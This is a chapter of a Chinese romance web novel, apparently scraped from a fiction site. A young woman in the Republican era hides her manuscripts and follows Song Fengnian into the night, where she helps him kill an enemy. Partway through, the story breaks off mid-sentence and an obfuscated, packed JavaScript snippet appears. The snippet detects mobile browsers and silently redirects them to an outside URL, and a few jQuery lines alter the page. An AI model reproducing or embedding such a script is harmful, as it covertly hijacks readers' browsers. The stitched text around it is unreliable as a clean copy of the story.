她写的何止是他。
其实也是在透过手札，和那枚石碑上的指印。作为旁观者，在看向他注定的命运，被埋没的故事。
黎颂望着他的眼神，微微有些复杂。
她轻张唇，又说不出口。
“宋逢年……如果我有个秘密，想瞒着你，又想告诉你。你会刨根到底，很想知道吗？”
她轻声问道。
宋逢年倚在床头，抬眸看她。
“什么秘密？不会是你和江时晚，傍晚时鬼祟着，在那不让我听的秘密？”
他轻摇头，失笑：“不会刨根问底，你放心。”
但黎颂指的秘密，并不是这个。
灯光柔和，暖黄着铺开，横亘在她和青年之间。屋中难得安宁静谧。
宋逢年应当没读懂，她带着深意的目光。
他侧着脸。
还在同她闲聊，玩笑道：“不过，你知道稿子，该往哪里投稿吗？认得常见的几种报纸吗？”
她轻鼓了下脸颊，确实不太了解：“先写着再说，后面我自然能找到办法，来保存这些稿子。”
阁楼的木板间，有一道夹层。
她打开后，放进了几张写完的纸。写到一半的，她先压在了枕头上。
“不用藏那么严实，我不会偷看的。”
他语气散漫着道。
黎颂指了指，天窗上蒙着的黑布：“防的当然不是你。”
“我怕拖你后腿，不想影响到你。”
他动动眉。
语气很欠揍：“你看上去像是，连宁城的报社报亭，都找寻不到，应该还不至于拖我后腿。”
她眼眸轻瞪他。
示意他，别瞧不起人：“我只是刚来，过段时间，自然能找到。”
宋逢年双腿交叠，在灯光里，眉眼望着她：“行了，不逗你了。”
他微微正色：“我书桌和柜子里，还剩许多报纸文刊。你都拿去看，还是少出门吧。外面的报亭，有时会很危险。”
闻言，她有些感兴趣。
“什么报纸文刊，你都留着吗？除了宁城当地的报纸，那种传说中的，申报、新民报这些，也会有吗？”
她还没当面见过这些。
宋逢年：“应该有，我去找找。”
旧时代的青年起身，走向旁边，在老旧的木柜里，翻着寻找。
他柜子里的物件，看上去挺杂。
期间，翻出了旧怀表，旧式收音机。一套破旧的军装，几本手札，甚至还有几串空的子弹壳，报纸在更底下。
黎颂见了，有些好奇：“你怎么有这么多物件？都是你的吗？”
旧柜子积了灰，像是不经常打开。被她询问，他身形像是顿了下。
他侧脸在灯光里，半明半昧。阴影落在，他鼻梁一侧，看不清具体神情：“这些物件，倒不是我的。”
“是我大哥的遗物。”他说。
黎颂顿觉失言，想起了他手札上的字迹：“啊，抱歉。”
宋逢年倒是平静：“没事。”
他像轻描淡写，浅提了句。她没追问，他便没再多言。
他抬手将那些遗物，又齐整地放回了斑驳的木柜里。转过身，笑容如常：“给，你要的旧报纸。”
他轻倚在木梯边，梯子顶端恰好，横亘在她的阁楼口。影子微微轻晃。
阁楼并不高，青年一伸手，恰好能把东西递给她：“不接吗？”
黎颂垂眸望着他。
她轻嗯了声，接过那一叠旧报纸。
“这些日期，已经旧了。城里的报亭，早晨会有新报纸。想要什么，我日后帮你带。”
他语气如常。
黎颂乖乖地应了声。
“放心，我不会乱跑，不会给你添麻烦的。”
她拿起旧报纸，假装看得认真。
在缝隙间，其实去打量他。
看到青年，躺回了他的床上，像是困了，他正轻阖着眼。眼睫有些长，覆下一小片阴影。
他在想什么？木柜里，亲人留下的遗物吗？还是那些家仇国恨的事。
黎颂翻了会儿，手中的旧报纸。
见他睡了，拉灭了阁楼中的灯线。
屋中陷入漆黑，唯有清冷的月光，从小窗里，洒进来一层。
“宋逢年？”她轻声唤。
“你睡着了吗？其实……我还是觉得，刚刚提到的那个秘密。终有一天，应该告诉你。”
青年没回答她。
他闭着眼，不知是真睡了，还是对此不感兴趣。
……
黎颂这一晚，睡得并不安稳。
窗外隐绰间，会传来各种动静。她轻翻个身，阁楼里的木板床，便会吱呀响。
她惊醒过来。
模糊间，听到二楼似乎有些动静声。
她竖起耳朵去听。
似乎是宋逢年，他坐起来的声音。指尖拈过扣子，披上外套后轻起身，还有站起来的声音。
在漆黑中听得较为清晰。
他这么晚，要突然出门吗？是要去哪里？
黎颂去望窗外，发现尚是一片消沉化不开的夜色。将近子时，天色还远没有亮。
她听到他，打开柜子门，想在翻找着什么东西。又像怕吵醒她，他没开灯，发出的动静声，全程也很小。
她探头，借着月光想去打量。
一不小心，在黑暗中，手腕勾住了缠绕的灯线。
她吓了一跳，去抽手间，顺势不小心地把关着的灯线，又拉亮了。
“啪嗒。”轻响一声。
屋里亮起来。
她和楼下的青年，刹那面面相觑。
她只能轻咳一声，牵强解释：“我想起来，喝点水。”
闻言，宋逢年应了声。
他和她面面相觑时，手里握着什么。灯亮后，能瞧清他，正在擦拭那把短刀。
刀刃闪着光，冷冽的光。
像他映在灯光深处，棱角分明的轮廓。
黎颂望着那刀，骤然间意识到了什么。
刀疤的事情，今日还没有了结。漆黑的夜里，正是好时机。
“你晚上，是打算出门吗？”她询问。
“对。”
他言简意赅。
黎颂隔着灯光，看向他。
许久小声道：“那你路上小心，要是很危险的话，可千万不要逞强。”
她无法去阻止，对方做什么。
无论是曾经的老徐，宋逢年，江时晚还有更多的人。看上去，皆不是轻易受阻挡的人。
青年语气散漫，仿佛他只是出门散个步：“好，你也记得早点睡。”
夜色凉如水，起了风。
黎颂还瞧见，他出门的时候，披了件黑色外套，戴了黑色手套，装备齐全的模样。
青年身手熟练地翻窗时，还温和对她笑了下。
他那样的笑。
她有时见了，会莫名跟着有种，眼眶微微酸涩的感觉。
他今日会失
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891391|176479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手吗。
属于他的最终命运，会恰好降临吗？
无数个疑问，交织在她脑海中。
黎颂独自躺在阁楼里。
外边变得安静，不再喧嚣。她在寂静中，反而更难入睡，翻了几次身。
半晌，还是作了决定。
她翻身坐起来，穿上外套。踩下木梯，离开了小小的阁楼，推开了黑暗中的大门。
“吱呀。”
街外也是一片漆黑，格外静悄悄的。
她推门出去时，由于惧怕和紧张，心跳也在加快。
黎颂深知，这样的举动很是冒险。
——但一想到最多，是被生气的宋逢年扔出去住，就感觉也还好啦。
“我写采访日记的时候，写过了，要力所能及地救他，这也不算食言。”
她自圆其说。
黎颂怕黑，因此临走前，拿了放在桌上的一盒火柴。是盒旧式火柴，她第一次取火，还不是很熟稔。
幽幽火光燃起来时。
她便拿在微汗的掌心，开始辨认路。
江时晚下午闲聊时，不经意间同她提过：“他去的那个商行，在城西的位置。回长明街的路上，有个常走的路口。”
“比较偏，不容易被发现，算安全吧。”
黎颂循着路，找到对方口中，那有几颗柏树的路口。
熄灭了火柴，她等在原地。
“啪嗒，啪嗒。”
中途几次，响起过脚步声，但都不是宋逢年。
在她有些昏昏欲睡，以为等不到对方时。冷不丁地，嗅到了风中的血腥味，瞥到了黑暗中，熟悉的轮廓。
“哐——砰——”
她侧耳听着。
有响动声，像在赤手空拳地打架。两道身影缠在一起，分不出谁占上风。
黎颂意识到什么后。
她当即把手里剩余的火柴，聚在一起快速点燃。
火光照亮了，黑暗中的景象。
有个肤黑粗犷，面向不善的男人，正准备将拳头，挥向底下的宋逢年——
黎颂到了他身后。
从黑暗中，摸索来砖块。她轻闭眼，手指颤了很多下。最终，对着那人的脖颈，抬手砸下去。
“哐当。”
她的力道也许不够。
但宋逢年反应过来，他趁着间隙，很快补刀。脖颈一刀，心脏再一刀，解决了对方。
“零三号。”
他挑了下唇角：“再见。等去地府，继续赎你的罪吧。”
对方狰狞着神色，流着汩汩的血，不甘地倒落在地，发不出声息。
黎颂听到了称呼：“他也在商行里，排行在你前面吗？”
青年掀眼：“嗯，他和那个刀疤一样。都不是好东西，同样死得其所。”
他收回短刀，擦拭了下身上的血迹。
隔着即将燃尽的火柴光芒，他看向了她，语调轻扬：“倒是你，颂歌小姐。晚上跑到这里，做什么？”
宋逢年凝视着她。
她瓷白的脸颊，沾了些血迹。靠得这么近，他甚至能瞧清，那些细小的绒毛。
她眨下眼，很漂亮的眉眼间，眼眸很亮，还是那副好奇又天真的神色。
她不管三七二十一地，抓了那么多根火柴过来。
仿佛眼下在他面前。
要把这场，难见黎明的黑夜，完全给照亮。
“我来找你啊。”
“……我怕你死了，宋逢年。”她弯眼说。